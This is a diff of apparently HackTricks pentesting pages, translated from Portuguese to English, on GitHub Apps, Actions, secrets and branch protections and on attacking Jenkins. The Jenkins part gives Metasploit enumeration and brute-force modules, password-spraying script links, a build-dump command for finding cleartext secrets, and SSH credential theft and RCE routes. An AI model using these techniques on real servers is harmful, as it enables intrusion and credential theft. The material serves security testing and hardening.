- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications podem pedir permissões para **acessar suas informações do github ou impersonate você** para executar ações específicas sobre recursos específicos. Nas Github Apps você precisa especificar os repositories aos quais o app terá acesso.
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
|
||||
- Para instalar um GitHub App, você deve ser um **organisation owner ou ter admin permissions** em um repository.
|
||||
- O GitHub App deve **connect to a personal account or an organisation**.
|
||||
- Você pode criar sua própria Github application em [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Você pode ver todas as **Github applications que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Estes são os **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do App ele poderá acessar alguns deles.
|
||||
- Você pode ver os apps instalados em uma **organization** em _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Algumas recomendações de segurança:
|
||||
Some security recommendations:
|
||||
|
||||
- Um GitHub App deve **take actions independent of a user** (a menos que o app esteja usando um token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os user-to-server access tokens mais seguros, você pode usar access tokens que expiram após 8 horas e um refresh token que pode ser trocado por um novo access token. Para mais informações, veja "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Certifique-se de que o GitHub App se integre com **repositories específicos**.
|
||||
- O GitHub App deve **connect to a personal account or an organisation**.
|
||||
- Não espere que o GitHub App saiba e faça tudo que um usuário pode fazer.
|
||||
- **Não use um GitHub App se você só precisa de um serviço "Login with GitHub"**. Mas um GitHub App pode usar um [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para logar usuários _and_ fazer outras coisas.
|
||||
- Não construa um GitHub App se você _apenas_ quer agir como um GitHub user e fazer tudo que esse user pode fazer.
|
||||
- Se você estiver usando seu app com GitHub Actions e quiser modificar arquivos de workflow, você deve autenticar em nome do usuário com um OAuth token que inclua o scope `workflow`. O usuário deve ter admin ou write permission ao repository que contém o arquivo de workflow. Para mais informações, veja "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Mais** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Isto **não é uma forma de autenticar no github**, mas um Github Action **malicioso** poderia obter **acesso não autorizado ao github** e **dependendo** dos **privileges** dados à Action diversos **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informação.
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions permitem automatizar a **execução de código quando um evento acontece**. Normalmente o código executado está **de alguma forma relacionado com o código do repository** (talvez construir um docker container ou verificar que o PR não contenha secrets).
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
|
||||
### Configuration
|
||||
|
||||
Em _https://github.com/organizations/\<org_name>/settings/actions_ é possível verificar a **configuração do github actions** para a organization.
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
|
||||
É possível desativar completamente o uso de github actions, **allow all github actions**, ou apenas permitir certas actions.
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
|
||||
Também é possível configurar **quem precisa de approval para executar um Github Action** e as **permissões do GITHUB_TOKEN** de um Github Action quando ele é executado.
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action geralmente precisam de algum tipo de secrets para interagir com github ou aplicações third party. Para **evitar colocá-los em clear-text** no repo, o github permite colocá-los como **Secrets**.
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
|
||||
Esses secrets podem ser configurados **para o repo ou para toda a organization**. Então, para que a **Action consiga acessar o secret** você precisa declará-lo assim:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### Exemplo usando Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **só podem ser acessados pelos Github Actions** que os declararam.
|
||||
>
|
||||
> Uma vez configurados no repo ou nas organizations **users of github won't be able to access them again**, eles apenas poderão **alterá-los**.
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
|
||||
Portanto, a **única forma de roubar github secrets é conseguir acessar a máquina que está executando a Github Action** (nesse cenário você poderá acessar apenas os secrets declarados para a Action).
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github permite criar **environments** onde você pode salvar **secrets**. Depois, você pode dar ao github action acesso aos **secrets** dentro do environment com algo como:
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Você pode configurar um environment para ser **acessado** por **all branches** (padrão), **only protected** branches ou **specify** quais branches podem acessá‑lo.\
|
||||
Além disso, as proteções do ambiente incluem:
|
||||
- **Required reviewers**: bloqueia jobs direcionados ao environment até serem aprovados. Habilite **Prevent self-review** para impor um princípio de quatro‑olhos adequado na própria aprovação.
|
||||
- **Deployment branches and tags**: restrinja quais branches/tags podem fazer deploy para o environment. Prefira selecionar branches/tags específicos e garanta que esses branches estejam protegidos. Nota: a opção "Protected branches only" aplica‑se às proteções clássicas de branch e pode não se comportar como esperado se estiver usando rulesets.
|
||||
- **Wait timer**: atrasar deploys por um período configurável.
|
||||
|
||||
Também é possível definir um **número de revisões requeridas** antes de **executar** uma **action** usando um **environment** ou **aguardar** algum **tempo** antes de permitir que os deploys prossigam.
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
|
||||
- **Wait timer**: delay deployments for a configurable period.
|
||||
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
### Git Action Runner
|
||||
|
||||
Uma Github Action pode ser **executada dentro do github environment** ou pode ser executada em uma **third party infrastructure** configurada pelo usuário.
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
|
||||
Várias organizações permitem executar Github Actions em uma **third party infrastructure** pois costuma ser **mais barato**.
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
|
||||
Você pode **listar os self-hosted runners** de uma organização em _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
A forma de descobrir quais **Github Actions estão sendo executadas em infraestrutura não‑github** é procurar por `runs-on: self-hosted` no YAML de configuração da Github Action.
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
|
||||
Não é **possível executar uma Github Action de uma organização dentro de uma self hosted box** de outra organização porque **um token único é gerado para o Runner** quando ele é configurado para saber a que runner pertence.
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
|
||||
Se o custom **Github Runner for configurado em uma máquina dentro de AWS ou GCP**, por exemplo, a Action **poderia ter acesso ao endpoint de metadata** e **roubar o token da service account** com a qual a máquina está executando.
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
Se todas as actions (ou uma action maliciosa) forem permitidas, um usuário poderia usar uma **Github action** que seja **maliciosa** e que **comprometa** o **container** onde está sendo executada.
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
|
||||
> [!CAUTION]
|
||||
> Uma **malicious Github Action** run poderia ser **abusada** pelo atacante para:
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
>
|
||||
> - **Roubar todos os secrets** aos quais a Action tem acesso
|
||||
> - **Mover lateralmente** se a Action for executada dentro de uma **third party infrastructure** onde o token SA usado para rodar a máquina possa ser acessado (provavelmente via metadata service)
|
||||
> - **Abusar do token** usado pelo **workflow** para **roubar o código do repo** onde a Action é executada ou **até modificá‑lo**.
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
As branch protections são desenhadas para **não dar controle completo de um repositório** aos usuários. O objetivo é **colocar vários métodos de proteção antes de conseguir escrever código dentro de algum branch**.
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
As **branch protections de um repositório** podem ser encontradas em _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Não é **possível definir uma branch protection a nível de organização**. Então todas devem ser declaradas em cada repo.
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
Diferentes proteções podem ser aplicadas a um branch (como ao master):
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- Você pode **exigir um PR antes do merge** (assim você não pode mergear código diretamente no branch). Se isso for selecionado, outras proteções podem estar em vigor:
|
||||
- **Exigir um número de aprovações**. É muito comum exigir 1 ou 2 pessoas adicionais para aprovar seu PR para que um único usuário não consiga mergear código diretamente.
|
||||
- **Invalidar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e depois adicionar código malicioso e fazer o merge.
|
||||
- **Exigir aprovação do push reviewável mais recente**. Garante que quaisquer novos commits após uma aprovação (incluindo pushes por outros colaboradores) reativem a revisão, evitando que um atacante envie mudanças pós‑aprovação e faça o merge.
|
||||
- **Exigir reviews de Code Owners**. Pelo menos 1 code owner do repo precisa aprovar o PR (impedindo que "usuários aleatórios" aprovem).
|
||||
- **Restringir quem pode dispensar pull request reviews.** Você pode especificar pessoas ou equipes autorizadas a dispensar reviews.
|
||||
- **Permitir atores especificados contornarem requisitos de pull request.** Esses usuários poderão contornar as restrições anteriores.
|
||||
- **Exigir que status checks passem antes do merge.** Alguns checks precisam passar antes de poder mesclar o commit (como um GitHub App reportando resultados de SAST). Dica: vincule checks obrigatórios a um GitHub App específico; caso contrário qualquer app poderia falsificar o check via Checks API, e muitos bots aceitam diretivas de pular (por exemplo, "@bot-name skip").
|
||||
- **Exigir resolução de conversas antes do merge.** Todos os comentários no código precisam ser resolvidos antes do PR poder ser mesclado.
|
||||
- **Exigir commits assinados.** Os commits precisam ser assinados.
|
||||
- **Exigir histórico linear.** Impede que merge commits sejam enviados para branches correspondentes.
|
||||
- **Incluir administradores.** Se isto não estiver ativado, admins podem contornar as restrições.
|
||||
- **Restringir quem pode push para branches correspondentes.** Restringe quem pode enviar um PR.
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
|
||||
> [!NOTE]
|
||||
> Como pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **os repos podem estar protegidos impedindo que você faça push de código para master**, por exemplo para comprometer o pipeline CI/CD.
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Tags (como latest, stable) são mutáveis por padrão. Para impor um fluxo de quatro‑olhos nas atualizações de tags, proteja tags e encadeie proteções através de environments e branches:
|
||||
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
|
||||
|
||||
1) Na regra de proteção de tag, habilite **Require deployments to succeed** e exija um deployment bem‑sucedido para um environment protegido (por exemplo, prod).
|
||||
2) No environment alvo, restrinja **Deployment branches and tags** para o branch de release (por exemplo, main) e, opcionalmente, configure **Required reviewers** com **Prevent self-review**.
|
||||
3) No branch de release, configure branch protections para **Require a pull request**, defina aprovações ≥ 1 e habilite tanto **Dismiss approvals when new commits are pushed** quanto **Require approval of the most recent reviewable push**.
|
||||
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
|
||||
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
|
||||
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
|
||||
|
||||
Essa cadeia evita que um único colaborador re‑tague ou force‑publique releases editando o workflow YAML, já que os gates de deployment são aplicados fora dos workflows.
|
||||
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
|
||||
|
||||
## References
|
||||
|
||||
@@ -267,3 +273,5 @@ Essa cadeia evita que um único colaborador re‑tague ou force‑publique relea
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,32 +1,36 @@
|
||||
# Segurança do Jenkins
|
||||
# Jenkins Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
Jenkins é uma ferramenta que oferece um método simples para estabelecer um **ambiente de integração contínua** ou **entrega contínua** (CI/CD) para quase **qualquer** combinação de **linguagens de programação** e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas de desenvolvimento rotineiras. Embora o Jenkins não elimine a **necessidade de criar scripts para etapas individuais**, ele fornece uma maneira mais rápida e robusta de integrar toda a sequência de ferramentas de construção, teste e implantação do que se pode facilmente construir manualmente.
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeração Não Autenticada
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
|
||||
Para procurar páginas interessantes do Jenkins sem autenticação, como (_/people_ ou _/asynchPeople_, que lista os usuários atuais), você pode usar:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Verifique se você pode executar comandos sem precisar de autenticação:
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ para **nomes de usuário**.
|
||||
|
||||
Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_.
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
### Vulnerabilidades Conhecidas
|
||||
### Known Vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
@@ -34,46 +38,48 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## Login
|
||||
|
||||
Nas informações básicas, você pode verificar **todas as maneiras de fazer login no Jenkins**:
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Registro
|
||||
### Register
|
||||
|
||||
Você poderá encontrar instâncias do Jenkins que **permitem que você crie uma conta e faça login nela. Simples assim.**
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
### **Login SSO**
|
||||
### **SSO Login**
|
||||
|
||||
Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma conta de **Github/Bitbucket** de teste). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** não possui **política de senha** e **mitigação de força bruta de nome de usuário**. É essencial **fazer força bruta** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**.
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline.
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
|
||||
Para alcançar isso, as organizações **colocam na lista branca** os **intervalos de IP** das **plataformas SCM**, permitindo que elas acessem o **sistema CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema CI interno**.
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
|
||||
Verifique: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
Nesses cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Dependendo do mecanismo de **Autorização** configurado no Jenkins e da permissão do usuário comprometido, você **pode ou não ser capaz de realizar os seguintes ataques.**
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
|
||||
Para mais informações, verifique as informações básicas:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -81,212 +87,226 @@ basic-jenkins-information.md
|
||||
|
||||
### Listing users
|
||||
|
||||
Se você acessou o Jenkins, pode listar outros usuários registrados em [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de builds para, esperançosamente, encontrar segredos em texto claro.
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Roubo de Credenciais SSH**
|
||||
|
||||
Se o usuário comprometido tiver **privilegios suficientes para criar/modificar um novo nó Jenkins** e as credenciais SSH já estiverem armazenadas para acessar outros nós, ele poderia **roubar essas credenciais** criando/modificando um nó e **definindo um host que registrará as credenciais** sem verificar a chave do host:
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
|
||||
.png>)
|
||||
|
||||
Você geralmente encontrará credenciais ssh do Jenkins em um **provedor global** (`/credentials/`), então você também pode despejá-las como faria com qualquer outro segredo. Mais informações na seção [**Despejando segredos**](./#dumping-secrets).
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **RCE no Jenkins**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Obter um **shell no servidor Jenkins** dá ao atacante a oportunidade de vazar todos os **segredos** e **variáveis de ambiente** e de **explorar outras máquinas** localizadas na mesma rede ou até mesmo **coletar credenciais de nuvem**.
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
|
||||
Por padrão, o Jenkins **executa como SYSTEM**. Portanto, comprometê-lo dará ao atacante **privilegios de SYSTEM**.
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
|
||||
### **RCE Criando/Modificando um projeto**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
Criar/Modificar um projeto é uma maneira de obter RCE sobre o servidor Jenkins:
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Executando script Groovy**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Você também pode obter RCE executando um script Groovy, que pode ser mais discreto do que criar um novo projeto:
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Criando/Modificando Pipeline
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
Você também pode obter **RCE criando/modificando um pipeline**:
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
|
||||
{{#ref}}
|
